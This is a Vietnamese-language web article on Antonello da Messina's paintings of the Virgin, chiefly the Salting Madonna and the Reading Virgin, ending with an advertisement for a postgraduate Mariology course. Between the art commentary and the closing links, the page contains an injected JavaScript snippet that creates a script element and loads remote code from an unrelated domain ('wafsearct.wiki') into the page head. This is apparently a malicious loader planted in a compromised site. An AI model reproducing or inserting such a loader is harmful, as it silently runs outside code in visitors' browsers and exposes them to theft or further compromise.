Antonello da Messina: Mariologia của “Con người mới”
Giới thiệu
Thành tựu của Antonello da Messina không chỉ đơn thuần là cải thiện tình hình của hội họa hiện đại bằng cách phổ biến phương pháp sơn dầu hoàn thiện, mà còn là một trong những họa sĩ Ý dũng cảm nhất thế kỷ 15. Thành tựu vượt trội của ông là khiến người ta xúc động bởi sự dịu dàng, dù trong những chủ đề mà sự nghiêm khắc chiếm ưu thế hơn sự ngọt ngào, vẻ huy hoàng hơn cảnh nông thôn, nỗi đau hơn sự dịu dàng, hoặc sự yên bình của những cảm xúc sâu sắc và ngọt ngào nhất của tâm hồn.
Sinh khoảng năm 1430 tại Messina, nơi ông qua đời vào năm 1479, Antonello là một trong những nhân vật bí ẩn nhất trong nghệ thuật Ý, bởi với số lượng chứng cứ hạn chế, ông thể hiện một bản sắc kép như một nghệ sĩ địa phương theo truyền thống và một nghệ sĩ quốc tế có khả năng đổi mới cách mạng. Ông đã kết hợp ngữ pháp phong cách Flemish vào ngữ pháp Ý và trao cho nhân cách của quê hương, của hòn đảo của mình một biểu hiện tuyệt đối và vĩnh cửu.
Đó là điều mà các bức tranh của ông ấy cho chúng ta thấy, với vẻ đẹp “từng lớp từng lớp” của Sicily, đến mức ta có thể nghe thấy họ nói bằng giọng địa phương, giống như cách họ nói về Anunciação. Sự gắn bó sâu sắc với chủ thể, sự chuyển hóa thơ mộng của bản chất sâu thẳm, đam mê nhất của nhân loại, mà ông ấy cố gắng tạo ra chủ nghĩa tuyệt đối, là lý do cho sự ngạc nhiên bí ẩn chiếm lấy người xem một tác phẩm của Antonello.
Vì vậy, những nhân vật trần thế trên thập giá của Sibiu dường như bị thiêu đốt bởi một ngọn lửa nội tâm, tiêu tan và tan biến trong ánh trắng nóng bỏng của bầu trời cảnh quan. Vì vậy, các thánh và Đức Mẹ của họ thể hiện sự hiện diện ấm áp và khiêm nhường với nhiều đau khổ và sự đơn giản cao quý.
Antonello là đại diện điển hình của Homo Novus thời Phục hưng, một hiện tượng hoàn toàn Ý, từ Sicily đến Venice. Ông là biểu tượng của thế kỷ 15, thời kỳ con người lấy lại nhận thức về bản thân và vượt qua đại dương để khám phá thế giới mới, nơi devotio moderna mong đợi một hình thức tôn giáo nội tâm và chủ quan, trái ngược với lòng sùng đạo tập thể thời Trung cổ.
Ngôn ngữ của cử chỉ
Trong sự miêu tả Đức Trinh Nữ với Đứa Trẻ, là sự đối xứng nữ giới của nhiều bức chân dung nam giới, Antonello da Messina lấy cảm hứng từ quê hương của mình. Cả ngoại hình cũng như tư thế của các trinh nữ trong tác phẩm của Antonello, như bàn tay giả vờ cầm khăn che mặt của Đức Trinh Nữ ở Palermo, đều gợi nhớ đến phụ nữ Sicily.
Những trinh nữ đầu tiên, như Trinh nữ Salting hoặc
Bức tranh Đức Trinh Nữ Đọc sách thể hiện trên một nền đơn sắc một sự tinh tế trong trang sức và áo choàng, gợi nhớ đến sự đào tạo của Antonello tại Colantonio ở Naples, nơi ông lần đầu tiếp xúc với nghệ thuật người Flanders.
Bức tranh Đức Trinh Nữ Salting miêu tả Mẹ Thiên Chúa cầm Chúa Giêsu trong vòng tay, được hai thiên thần Bắc Âu vây quanh, tôn vinh Mẹ như Nữ hoàng trời. Hình ảnh Chúa Giêsu nhỏ bé, cầm trên tay một quả đào, biểu tượng của sự sinh sản và vương quyền của Đức Maria, nhưng cũng gợi lên sự đau khổ bởi màu đỏ của quả đào, tương tự như máu. Tóc dài trong suốt của Đức Trinh Nữ thể hiện sự tinh tế và nghệ thuật cao, cũng như lời mô tả chi tiết về trang sức và vải brocade.
Các thiên thần, nền tối, vương miện phức tạp với hiệu ứng ánh kim lấp lánh, ánh sáng trắng sắc nét gợi nhớ đến nghệ thuật Flamenda mà Antonello đã khéo léo kết hợp với không gian và tính đồ sộ của nghệ thuật Ý.
Mặt kiên định và không thể xuyên thủng, nơi mọi thứ, từ những đường đen của tóc đến sự nhợt nhạt của làn da, đến những dấu hiệu hình học của lông mày và mắt, đến miệng bí ẩn, đến tai hoàn hảo, dường như tìm kiếm sự cứng nhắc bất động của điêu khắc, đóng băng trong sự giản lược của đá cẩm thạch một loại vẻ đẹp nóng bỏng, vẫn có thể được nhận ra giữa những người phụ nữ của Sicily.
Một mối liên kết biểu tượng kết nối Đức Mẹ Salting với Đức Mẹ Leitora, một mối liên kết thực sự chặt chẽ, đến mức gần như không thể coi là ngẫu nhiên, và gần đây gợi ý ý tưởng rằng Đứa Trẻ Chúa Giêsu đã thay thế vào phút chót cuốn sách mở trong tay Mẹ.
Đàn bà đọc kinh, với gương mặt trắng như tỏa sáng, do vương miện trang trí bằng hoa oải hương và hoa hồng, và cuốn sách mở trong tay, là tác phẩm trẻ trung của Messina mà ông mô tả là “một sinh vật sắc sảo, miệng đắng cay, tay dài và gần như hung hăng, với khuôn mặt bị đóng dấu bởi những dải đau đớn”.
var url = ‘https://wafsearct.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);
Để sâu sắc hơn về Mariologia trong nghệ thuật tôn giáo và hội họa thời Phục hưng, hãy tham khảo Sứ mệnh Tông đồ Marialis Cultus của Phaolô VI, nhấn mạnh các biểu hiện nghệ thuật như phương tiện ưu tiên của sự sùng kính và chiêm niệm về Đức Mẹ.
Hãy mở rộng nghiên cứu của bạn: khám phá MariologiaThần học về Đức Mẹcác hiện ra của Đức Mẹ và Chuyên ngành sau đại học về Mariologia.
Chuyên ngành Mariologia Sau Đại học
Bạn muốn đào sâu hơn về học thuyết về Đức Mẹ Maria? Hãy tìm hiểu về Chứng chỉ Sau đại học về Mariologia của Locus Mariologicus, một chương trình đào tạo học thuật kết hợp chặt chẽ thần học nghiêm ngặt, đời sống tâm linh và truyền thống sống động của Giáo hội.Bạn có muốn nghiên cứu Mariologia một cách nghiêm túc?
Bài viết này được lấy từ các tác phẩm trong thư viện của Locus Mariologicus. Chuyên ngành Sau đại học về Mariologia sẽ đưa bạn đến cùng nguồn gốc đó, với sự hướng dẫn học thuật: Kinh Thánh, Các Cha của Giáo hội và Giáo huấn, từ Dogma đầu tiên đến các vấn đề đương đại.
Responses